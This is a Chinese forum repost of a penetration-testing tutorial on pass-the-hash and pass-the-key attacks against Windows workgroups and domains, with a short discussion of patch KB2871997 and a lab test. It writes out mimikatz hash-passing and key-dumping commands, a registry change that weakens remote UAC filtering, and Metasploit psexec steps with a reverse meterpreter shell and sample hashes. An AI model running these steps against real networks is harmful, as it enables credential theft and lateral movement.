安全矩阵

 找回密码
 立即注册
搜索
查看: 2631|回复: 0

哈希传递攻击分析和防御

[复制链接]

221

主题

233

帖子

792

积分

高级会员

Rank: 4

积分
792
发表于 2021-7-11 10:55:37 | 显示全部楼层 |阅读模式
哈希传递攻击分析和防御原创 kepler [url=]moonsec[/url] 昨天
收录于话题
#渗透测试
10个
哈希传递攻击分析和防御

1一.哈希传递攻击分析
大多数渗透测试人员都听过hash传递(PassThe  Hash)攻击,该方法通过找到域账号相关的密码散列值,通常是(NTLMhash)来进行攻击,在域环境下,用户登录计算机时,使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码,因此,计算机的本地管理员和账号密码也是相同的,攻击者就能使用哈希传递攻击的方法登录内网的其他计算机,同时,攻击者不需要花时间破解密码散列值,(进而获得密码明文)
在Windows网络中,散列值就是用来证明身份的(有正确的用户名和密码散列值,就能通过验证),而微软自己的产品和工具显然不会支持这种攻击,于是攻击者往往会通过第三方攻击来完成此任务,在Windowsserver 2012R2及以后的版本,默认在内存中不会记录明文密码。因此往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对计算机的远程控制
哈希传递(PassThe Hash)攻击,通过找到与账户相关的密码散列值(通常为NTLMHash) 攻击。
攻击者不需要花费时间破解密码散列值来获取明文密码。
在WindowsServer 2012 R2及之后版本的操作系统中,默认在内存中不会记录明文密码,因此,攻击者往往会使用工具将散列值传递到其他计算机中,进行权限验证,实现对远程计算机的限制。
哈希传递使用情况
前提:有管理员的NTLMHash ,并且目标机器开放445端口。
在工作组环境中:

           
  •         Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。

           
  •         Windows Vista 之后的机器,只能是administrator(SID为500)用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。

这里强调的是SID为500的账号,在一些计算机中,即使将Administrator账号改名,也不会影响SID的值。再补充一下:管理员组的非SID500账户登录之后是没有过UAC的,所有特权都被移除。而SID500账户登录之后也以完全管理特权(”完全令牌模式”)运行所有应用程序,实际是不用过UAC的。
在域环境中:

           
  •         只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器。

1)使用NTLM hash进行哈希传递
mimikatz进行哈希传递攻击PtH(工作组)
    WindowsVista 之前的机器,可以使用本地管理员组内用户进行攻击。

privilege::debug   #先提权
#使用administrator用户的NTLM哈希值进行攻击
sekurlsa::pth/user:用户名 /domain:目标机器IP /ntlm:密码哈希
WindowsVista之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问。
WindowsVista 之前的机器,我们需要的是本地管理员组内用户的NTLM,而WindowsVista 之后的机器,我们需要的是SID为500的账号的NTLM。
如果就是想传递SID为非500的管理账号的哈希,进行用户登录,可以修改LocalAccountTokenFilterPolicy的值为1

regadd HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /vLocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
恢复LocalAccountTokenFilterPolicy值为0(恢复之后,还需要重启explorer.exe才能生效):

regdelete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system/v LocalAccountTokenFilterPolicy /f
关于LocalAccountTokenFilterPolicy的文章可以参考:https://xie1997.blog.csdn.net/article/details/105336368

mimikatz(域环境)
需要用到的工具为mimikatz,运行权限为管理员权限。
重点在于,我们已经获取了域管理员组内用户的NTLM哈希值。我们可以使用域内的一台主机用mimikatz对域内任何一台机器(包括域控)进行哈希传递攻击。执行完命令后,会弹出CMD窗口,在弹出的CMD窗口我们可以访问域内任何一台机器。前提是我们必须拥有域内任意一台主机的本地管理员权限和域管理员的密码NTLM哈希值。

mimikatz"privilege::debug" "sekurlsa::pth /user:administrator/domain:kepler.com /ntlm:xxxx"

发现当前pid6724为携带传递的票据,可以窃取当前进程权限
验证

netgroup "domain controllers" /domain 查看域控
cscriptwmiexec.vbs /shell WIN-RFVPBGC3H2B


2(2)使用AES-256秘钥进程哈希传递
使用AES进行Key传递攻击(PTK,PassThe Key)
前提:只适用于域环境,并且目标主机需要安装KB2871997补丁
域控未打KB2871997 补丁前,无法使用Key传递攻击   
使用mimikatz抓取AES-256密钥

mimikatz"privilege::debug" "sekurlsa::ekeys"
mimikatz"privilege::debug" "log" "sekurlsa::ekeys"


#aes256

           

mimikatz"privilege::debug" "sekurlsa::pth /user:administrator/domain:kepler.com/aes256:07e753844ce5359791a42288f7fb2a22bd80e8af637e9641e5d022d8807d2dab"

#aes128

           

mimikatz"privilege::debug" "sekurlsa::pth /user:administrator/domain:pentest.com /aes128:xxxxxx"



必须需要打补丁才可以
注意:

           
  •         使用 AES-256 进行哈希传递时,dir后面要跟主机名(只能是主机名),否则会报错

           
  •         KB2871997只是对本地管理员用户有影响,不影响域管理员。

MSF进行哈希传递攻击PtH(工作组)
有些时候,当我们获取到了某台主机的administrator用户的密码哈希值,并且该主机的445端口打开着。我们则可以利用exploit/windows/smb/psexec模块用MSF进行远程登录(哈希传递攻击)。这个是rhost可以是一个主机,也可以设置一个网段。

这里目标主机的WindowsVista之后的机器,所以只能使用administrator用户进行攻击。

工作组环境,必须是administrator用户
利用exploit/windows/smb/psexec模块用MSF进行远程登录(哈希传递攻击)
  1. use exploit/windows/smb/psexec
  2. set payload windows/meterpreter/reverse_tcp #可以不设置
  3. set lhost ip    #可以不设置
  4. set rhost ip
  5. set smbuser administrator
  6. set smbpass NTLM Hash
  7. exploit
  8. msf> use  exploit/windows/smb/psexec
  9. msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
  10. msf exploit(psexec) > set lhost 192.168.10.27
  11. msf exploit(psexec) > set rhost 192.168.10.14
  12. msf exploit(psexec) > set smbuser Administrator
  13. msf exploit(psexec) > set smbpass 815A3D91F923441FAAD3B435B51404EE:A86D277D2BCD8C8184B01AC21B6985F6  #这里LM和NTLM我们已经获取到了
  14. msfexploit(psexec) > exploit
复制代码
msf(域环境)
这里与mimikatz的区别,为什么mimikatz写域名,而msf可以不用写域名。mimikatz传递完之后,弹出新的cmd窗口,可在该cmd窗口访问任意的机器。msf则是指定机器IP进行访问,这里好好体会。
  1. use exploit/windows/smb/psexec
  2. set rhost IP
  3. set smbdomain xxxx.org  #该参数不是必须的
  4. set smbuser administrator   #域管理员组内的用户
  5. set smbpass NTLM Hash
  6. exploit
  7. msf> use  exploit/windows/smb/psexec
  8. msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
  9. msf exploit(psexec) > set lhost 192.168.10.11
  10. msf exploit(psexec) > set rhost 192.168.10.131
  11. msf exploit(psexec) > set smbuser test   #test用户在域管理员组内,注意这里不需要写域前缀
  12. msf exploit(psexec) > set smbpass AADA8EDA23213C020B0C478392B5469F:51B7F7DCA9302C839E48D039EE37F0D1
  13. msfexploit(psexec) > exploit
复制代码
总的来说,msf传递哈希,使用exploit/windows/smb/psexec模块,需要提供LMHash:NTLM Hash;而使用mimikatz,仅需要提供NTLMHash即可。
不过,我们也可以使用模块exploit/windows/smb/psexec_psh,用法一样,不过这个仅需要NTLMHash。


更新KB2871997补丁产生的影响
微软在2014年5月发布了KB2871997和KB2928120两个补丁。KB2871997针对PTH攻击,而KB2928120针对GPP(GroupPolicy Preference)。KB2871997补丁将使本地帐号不再可以用于远程接入系统,不管是Networklogon 还是Interactivelogin。其后果就是:无法通过本地管理员权限对远程计算机使用Psexec、WMI、smbexec、IPC等,也无法访问远程主机的文件共享等。

在实际测试中,更新KB2871997之后,发现无法使用常规的哈希传递方法进行横向移动,但administrator(SID=500)账号例外,使用该账号的散列值依然可以进行哈希传递攻击。这里需要强调的是SID=500的账号。即使将administrator账号改名,也不会影响SID的值。所以,如果攻击者使用SID为500的账号进行哈希传递攻击,就不会受到KB2871997的影响。

实验
  • Windows Server 2008R2:192.168.10.20
  • 域管理员:administrator、 kepler

未打KB2871997 补丁前,使用 administrator账号可以成功进行哈希传递攻击,使用管理员账号kepler无法进行哈希传递攻击。
打上KB2871997 补丁后,使用 administrator账号依然可以成功进行哈希传递攻击,使用管理员账号kepler无法进行哈希传递攻击。
将administrator账号重命名为admin账号后,由于不存在administrator账号了,所以无法使用administrator账号进行哈希传递攻击,但是可以使用 admin账号紧进行哈希传递攻击,因为admin账号的SID值为500。

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 10:40 , Processed in 0.012871 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表